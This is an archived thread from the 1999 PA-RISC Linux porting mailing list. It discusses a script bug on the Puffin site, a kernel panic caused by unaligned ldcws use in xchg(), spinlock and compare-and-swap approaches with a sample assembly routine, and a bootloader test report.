	Wed, 1 Dec 1999 11:11:54 -0500
In-Reply-To: <3841651A.F66C387B@mcn.net>
Xref: news.gmane.org gmane.linux.ports.parisc:6535

On Sun, 28 Nov 1999, Carl Johnson wrote:

> Earlier I saw a message posted about adding machines and their
> descriptions to the puffin site, so I went to do that and 
> when I follow the instructions, etc, etc the addmachine.php3
> kicks out an error, which is embedded and does not show up,
> of:
> 
> 	The IOSCAN output is not in the correct format. Please try
> 	that again. Exiting a  that is not open
> 
> anyhow I am including all the needed info and if someone can finger
> out my problem please tell me:  __TIA__

Ok, I added the machine.

It appears my script wasn't working with blank lines correctly.  I
have made a small fix to allow blank lines.  My script uses a _VERY_
rudamentary check to see if each line of the IOSCAN output is correct.
If it finds one line that isn't correct is complains.  

Thanks for the bug report.  Please let me know if you find anything
else wrong.

-- 
David Kennedy
The Puffin Group


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Tue, 30 Nov 1999 13:17:05 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <199911301817.NAA02676@hiauly1.hia.nrc.ca>
References: <199911252347.SAA01418@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618676 28761 80.91.229.3 (22 Nov 2014 01:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:16 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de, alan@lxorguk.ukuu.org.uk,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 30 11:15:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA30824
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Nov 1999 11:15:46 -0700
Original-Received: (qmail 7739 invoked by uid 15267); 30 Nov 1999 18:17:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7731 invoked from network); 30 Nov 1999 18:17:42 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 18:17:42 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA02676;
	Tue, 30 Nov 1999 13:17:06 -0500 (EST)
In-Reply-To: <199911252347.SAA01418@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 25, 99 06:47:19 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6536

> I built another kernel without IPC.  In this one, the kernel panic'd
> in get_unused_buffer_head.  This one occured because unused_list was
> zero.  Again, it looks like there is an initialization problem somewhere.
> I think others have reported this problem in the past.  It looks like:
> 
> bad address 0000001c (code 15)
> Kernel panic: bad address

I have found the cause of this panic.  The problem occurs when xchg
is called with a pointer which is not aligned on a 16 byte boundary.
The ldcws semaphore instruction is only defined when the address is
aligned on a 16 byte boundary.  It is used when the value to exchange
is 0.

The macro xchg is used in quite a few places in what is nominally
machine independent code.  Should we add __attribute__ ((aligned (16))
to the definitions of all variables which exchange with 0?  Or, should
we look for another solution?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Tue, 30 Nov 1999 18:21:20 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E11srty-00075i-00@the-village.bc.nu>
References: <199911301817.NAA02676@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618677 28764 80.91.229.3 (22 Nov 2014 01:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:17 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        alan@lxorguk.ukuu.org.uk, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Nov 30 11:19:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA30972
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Nov 1999 11:19:45 -0700
Original-Received: (qmail 9668 invoked by uid 15267); 30 Nov 1999 18:21:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9661 invoked from network); 30 Nov 1999 18:21:42 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 18:21:42 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11srty-00075i-00; Tue, 30 Nov 1999 18:21:22 +0000
In-Reply-To: <199911301817.NAA02676@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 30, 99 01:17:05 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6537

> The macro xchg is used in quite a few places in what is nominally
> machine independent code.  Should we add __attribute__ ((aligned (16))
> to the definitions of all variables which exchange with 0?  Or, should
> we look for another solution?

xchg() is defined to work for a range of types and sizes. It is up to the 
arch code to implement it. That may mean you need to use a spinlock to implementsome cases.

Alan


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Tue, 30 Nov 1999 19:32:44 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <19991130193244.A4951@mathe.stud.uni-erlangen.de>
References: <199911252347.SAA01418@hiauly1.hia.nrc.ca> <199911301817.NAA02676@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618677 28765 80.91.229.3 (22 Nov 2014 01:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:17 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        alan@lxorguk.ukuu.org.uk, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Tue Nov 30 11:29:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA31105
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Nov 1999 11:29:25 -0700
Original-Received: (qmail 14712 invoked by uid 15267); 30 Nov 1999 18:31:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14704 invoked from network); 30 Nov 1999 18:31:22 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 18:31:22 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Tue, 30 Nov 1999 19:31:19 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id TAA05530;
	Tue, 30 Nov 1999 19:33:44 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911301817.NAA02676@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6538

> I have found the cause of this panic.  The problem occurs when xchg
> is called with a pointer which is not aligned on a 16 byte boundary.
> The ldcws semaphore instruction is only defined when the address is
> aligned on a 16 byte boundary.  It is used when the value to exchange
> is 0.

> The macro xchg is used in quite a few places in what is nominally
> machine independent code.  Should we add __attribute__ ((aligned (16))
> to the definitions of all variables which exchange with 0?  Or, should
> we look for another solution?

The problem with all this is xchg needs to be atomic, so there is no easy
and obviously correct way to do it.  Probably the most feasible thing is
to use spin_lock_irqsave / spin_unlock_irqrestore on an array of spinlocks
indexed by a hash of the address - x86istic code expecting xchg() to be
fast is going to suck I'd guess.

	Philipp Rumpf


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Tue, 30 Nov 1999 19:31:46 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E11st08-00079l-00@the-village.bc.nu>
References: <19991130193244.A4951@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618677 28769 80.91.229.3 (22 Nov 2014 01:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:17 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        alan@lxorguk.ukuu.org.uk, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Nov 30 12:30:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA31830
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Nov 1999 12:30:14 -0700
Original-Received: (qmail 12876 invoked by uid 15267); 30 Nov 1999 19:32:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12868 invoked from network); 30 Nov 1999 19:32:04 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 19:32:04 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11st08-00079l-00; Tue, 30 Nov 1999 19:31:49 +0000
In-Reply-To: <19991130193244.A4951@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 30, 99 07:32:44 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6539

> to use spin_lock_irqsave / spin_unlock_irqrestore on an array of spinlocks
> indexed by a hash of the address - x86istic code expecting xchg() to be
> fast is going to suck I'd guess.

You can catch the suitably aligned case. I don't think anyone will have a problem
if you submit patches over time so that critical xchg()'d objects are 16byte
aligned where it doesnt impact other platforms.

Keep counters of aligned/unaligned


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Klein <mklein@dis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Tue, 30 Nov 1999 12:14:59 -0800
Lines: 107
Approved: news@gmane.org
Message-ID: <4.2.0.58.19991130120934.00cc2c10@209.60.244.235>
References: <19991130193244.A4951@mathe.stud.uni-erlangen.de> <E11st08-00079l-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416618678 28771 80.91.229.3 (22 Nov 2014 01:11:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:18 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        alan@lxorguk.ukuu.org.uk, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>,
        Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: mklein@dis.com  Tue Nov 30 13:15:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA32138
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Nov 1999 13:15:03 -0700
Original-Received: (qmail 2915 invoked by uid 15267); 30 Nov 1999 20:16:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2776 invoked from network); 30 Nov 1999 20:16:22 -0000
Original-Received: from dis.dis.com (209.60.244.235)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 20:16:22 -0000
Original-Received: from linus (linus.orbitsw.com [198.180.205.14])
	by dis.dis.com (8.9.3/8.9.1) with ESMTP id MAA08329;
	Tue, 30 Nov 1999 12:15:29 -0800 (PST)
X-Sender: mark@209.60.244.235
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
In-Reply-To: <E11st08-00079l-00@the-village.bc.nu>
Original-References: <19991130193244.A4951@mathe.stud.uni-erlangen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6540

At 07:31 PM 11/30/99 +0000, Alan Cox wrote:


> > to use spin_lock_irqsave / spin_unlock_irqrestore on an array of spinlocks
> > indexed by a hash of the address - x86istic code expecting xchg() to be
> > fast is going to suck I'd guess.
>
>You can catch the suitably aligned case. I don't think anyone will have a 
>problem
>if you submit patches over time so that critical xchg()'d objects are 16byte
>aligned where it doesnt impact other platforms.

You also have another option:

Create the xchg more as a "compare and swap" and separate the semaphore(s) from
the data. You can always keep the semaphores paragraph aligned and not worry
about where the data falls. Here's a sample of something I've used successfully
for many years:

;
;    function CompareSwap(var Semaphore   : integer;
;                             CellAddress : localanyptr;
;                             OldValue    : integer;
;                             NewValue    : integer) : integer;
;
;
; Local Register Use Declarations
;
Semaphore     .EQU    arg0
CellAddress   .EQU    arg1
OldValue      .EQU    arg2
NewValue      .EQU    arg3
;
; Pause Time Declaration
;
PauseTime     .EQU    0x3f4cc800


compareswap           .proc

         .export compareswap, entry
         .import PAUSE,code

         ldw     0(0,CellAddress),r20   ; dummy load to avoid page fault
         ldcws   0(0,Semaphore),ret0    ; load & clear shared memory
         ldw     0(0,CellAddress),r20   ; load contents of Cell into reg20
         comibf,=,n  1,ret0,spin        ; if sem. locked, go to sleep
         combf,=,n  r20,OldValue,noteq  ; go to noteq if Cell <> OldValue
         stw     NewValue,0(0,CellAddress) ; save new value into cell
         bv      r0(rp)                 ; return from whence we came
         stw     ret0,0(0,Semaphore)    ; reset semaphore to avail
noteq                                  ; the case of Cell <> OldValue
         stw     ret0,0(0,Semaphore)    ; reset semaphore to avail
         bv      r0(rp)                 ; return from whence we came
         or      r0,r0,ret0             ; return false

spin
         ldi     -50,r19                ; Initialize counter
         ldw     0(0,Semaphore),r31     ; Prime the pump
spinagain
         comibt,=   1,r31,compareswap   ; If so, do it again
         ldw     0(0,Semaphore),r31     ; Load Semaphore again
         addibt,<=,n 1,r19,spinagain    ; Try again if needed.
         nop

wait
         stw     rp,-20(sp)             ; .ENTER
         ldo     56(sp),sp              ; .ENTER
         stw     arg0, -92(0,sp)        ; save var Semaphore
         stw     arg1, -96(0,sp)        ; save CellAddress
         stw     arg2,-100(0,sp)        ; save OldValue
         stw     arg3,-104(0,sp)        ; save NewValue

;   prepare to call PAUSE
         ldil    L'PauseTime,r1         ; build sleep time value
         ldo     R'PauseTime(r1),r31
         stw     r31,-52(0,sp);         ; save it
         ldo     -52(sp),arg0           ; fetch address of time value

         ldil    L'PAUSE,r31            ; construct link to PAUSE
         .CALL
         ble     R'PAUSE(sr4,r31);      ; sleep
         COPY    r31,r2                 ; set return address

         ldw      -92(0,sp),arg0        ; restore var Semaphore
         ldw      -96(0,sp),arg1        ; restore CellAddress
         ldw     -100(0,sp),arg2        ; restore OldValue
         ldw     -104(0,sp),arg3        ; restore NewValue
         ldw     -76(sp),rp             ; restore return pointer
         b       compareswap            ; try lock the semaphore again
         ldo     -56(sp),sp             ; pop stack ptr back to previous one

         nop
         nop
         nop

         .callinfo     caller, save_rp
         .exit
         .procend


--
Mark Klein                                    DIS International, Ltd.
http://www.dis.com                            415-892-8400
PGP Public Key Available
--


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Tue, 30 Nov 1999 18:40:48 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <199911302340.SAA05430@hiauly1.hia.nrc.ca>
References: <4.2.0.58.19991130120934.00cc2c10@209.60.244.235>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618678 28773 80.91.229.3 (22 Nov 2014 01:11:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:18 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: mklein@dis.com (Mark Klein)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 30 16:39:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA01084
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Nov 1999 16:39:28 -0700
Original-Received: (qmail 28593 invoked by uid 15267); 30 Nov 1999 23:41:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28586 invoked from network); 30 Nov 1999 23:41:22 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 30 Nov 1999 23:41:22 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA05430;
	Tue, 30 Nov 1999 18:40:49 -0500 (EST)
In-Reply-To: <4.2.0.58.19991130120934.00cc2c10@209.60.244.235> from "Mark Klein" at Nov 30, 99 12:14:59 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6541

> 
> At 07:31 PM 11/30/99 +0000, Alan Cox wrote:
> 
> 
> > > to use spin_lock_irqsave / spin_unlock_irqrestore on an array of spinlocks
> > > indexed by a hash of the address - x86istic code expecting xchg() to be
> > > fast is going to suck I'd guess.
> >
> >You can catch the suitably aligned case. I don't think anyone will have a 
> >problem
> >if you submit patches over time so that critical xchg()'d objects are 16byte
> >aligned where it doesnt impact other platforms.
> 
> You also have another option:
> 
> Create the xchg more as a "compare and swap" and separate the semaphore(s) from
> the data. You can always keep the semaphores paragraph aligned and not worry
> about where the data falls. Here's a sample of something I've used successfully
> for many years:

[deleted]

Since the exchange operation is not allowed to fail, using an exchange
semaphore to guarantee that the operation is atomic could result in deadlock
if xchg is called from an interrupt service routine.  Thus, it appears
that we are stuck with using spin_lock_irqsave / spin_unlock_irqrestore.
Exchange with 0 can be done with ldcws if the pointer is aligned on
a 16 bye boundary.  For the present, it is probably best to just use
spin_lock_irqsave / spin_unlock_irqrestore.

Currently, the lock variable used in xchg is static and ignored by
spin_lock_irqsave / spin_unlock_irqrestore.  This will have to change
for SMP.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 1 Dec 1999 16:41:41 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <19991201164141.B4951@mathe.stud.uni-erlangen.de>
References: <4.2.0.58.19991130120934.00cc2c10@209.60.244.235> <199911302340.SAA05430@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618678 28775 80.91.229.3 (22 Nov 2014 01:11:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:18 +0000 (UTC)
Cc: Mark Klein <mklein@dis.com>, alan@lxorguk.ukuu.org.uk,
        Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Dec  1 10:37:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA07805
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 10:37:19 -0700
Original-Received: (qmail 8475 invoked by uid 15267); 1 Dec 1999 17:39:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8463 invoked from network); 1 Dec 1999 17:39:17 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 1 Dec 1999 17:39:17 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 1 Dec 1999 18:38:48 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id QAA06490;
	Wed, 1 Dec 1999 16:42:41 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911302340.SAA05430@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6542

> [deleted]
> 
> Since the exchange operation is not allowed to fail, using an exchange
> semaphore to guarantee that the operation is atomic could result in deadlock
> if xchg is called from an interrupt service routine.  Thus, it appears
> that we are stuck with using spin_lock_irqsave / spin_unlock_irqrestore.
> Exchange with 0 can be done with ldcws if the pointer is aligned on
> a 16 bye boundary.  For the present, it is probably best to just use
> spin_lock_irqsave / spin_unlock_irqrestore.
> 
> Currently, the lock variable used in xchg is static and ignored by
> spin_lock_irqsave / spin_unlock_irqrestore.  This will have to change
> for SMP.

We don't have SMP versions of spin_lock/spin_unlock yet.  (And it doesn't make
sense to write them for 2.2 just to rewrite them for 2.3 lateron).

Furthermore we have to care for cases like:

	var = 1;
x=0;
CPU0		CPU1
xchg(&var,x);	test_and_set_bit(0, &var);

Which means we have to always use the same spinlock for all atomic operations[1]
done to an integer - so either a global lock or an array of spinlocks (if the
one global lock strategy shows this spinlock as a major contention point).

IMHO we really should do the 2.3 merge first.

	Philipp Rumpf

[1] - spinlock_t, rwlock_t and atomic_t are special as no-one is going to do
any operations but the ones in spinlock.h / atomic.h on those.


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 1 Dec 1999 18:03:39 +0000 (GMT)
Lines: 105
Approved: news@gmane.org
Message-ID: <E11tE6d-0008Lk-00@the-village.bc.nu>
References: <19991201164141.B4951@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618679 28777 80.91.229.3 (22 Nov 2014 01:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:19 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, mklein@dis.com, alan@lxorguk.ukuu.org.uk,
        Philipp.H.Rumpf@mathe.stud.uni-erlangen.de, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Dec  1 11:03:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA08203
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 11:03:29 -0700
Original-Received: (qmail 22930 invoked by uid 15267); 1 Dec 1999 18:05:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22922 invoked from network); 1 Dec 1999 18:05:27 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 1 Dec 1999 18:05:27 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11tE6d-0008Lk-00; Wed, 1 Dec 1999 18:03:55 +0000
In-Reply-To: <19991201164141.B4951@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Dec 1, 99 04:41:41 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6543

> 
> Furthermore we have to care for cases like:
> 
> 	var = 1;
> x=0;
> CPU0		CPU1
> xchg(&var,x);	test_and_set_bit(0, &var);

Umm. Does anyone actually rely on that ? Im not sure the non x86 ports have
that property

> IMHO we really should do the 2.3 merge first.

Yep

X-From-Line: chihi@email.rnu.tn  Wed Mar 10 14:51:54 1999
Return-Path: <chihi@email.rnu.tn>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03792
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:49 -0800
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:53 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id KAA02704
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 10:54:12 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id KAA07595
	for <pcj@primenet.com>; Wed, 10 Mar 1999 10:54:11 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd007379; Wed Mar 10 10:53:54 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id MAA06372;
	Wed, 10 Mar 1999 12:08:48 -0500
Resent-Date: Wed, 10 Mar 1999 12:08:48 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Sender: chihi@email.rnu.tn
Message-Id: <36E6B5D8.60F44E1A@ensi.rnu.tn>
Date: Wed, 10 Mar 1999 18:11:36 +0000
From: Imed Chihi <Imed.Chihi@ensi.rnu.tn>
Organization: ENSI
X-Mailer: Mozilla 4.04C-Caldera [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Bootstrap take 3
References: <199903092345.RAA25911@equator.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Resent-Message-ID: <"77Jo.0.PZ1.VSgvs"@sod.res.cmu.edu>
Resent-From: hppa-linux@thepuffingroup.com
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/162
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 2a825464cdc455b7a19869b59738a4eb
Lines: 44
Xref: merlin.pcj.primenet.com palinux:133

Hi all,

Here is my experience with the last bootloader. I tried it on an HP 710:

Select from menu: b scsi.5
Trying scsi.5
Boot path initialized
Attempting to load IPL

Hard booted
-----------------------------------------
PARISC/Linux Bootstrap Version 0.1 (non-interactive)
By Jason Eckhardt
Built Tue Mar 9 16:40:43 CST 1999 by jason@bimbo

Reading parameters.. done
Size = 28672 bytes, entry = 0x00001000, location 0x0001B040
Loading kernel.. done.
Transferring control to kernel.

********************
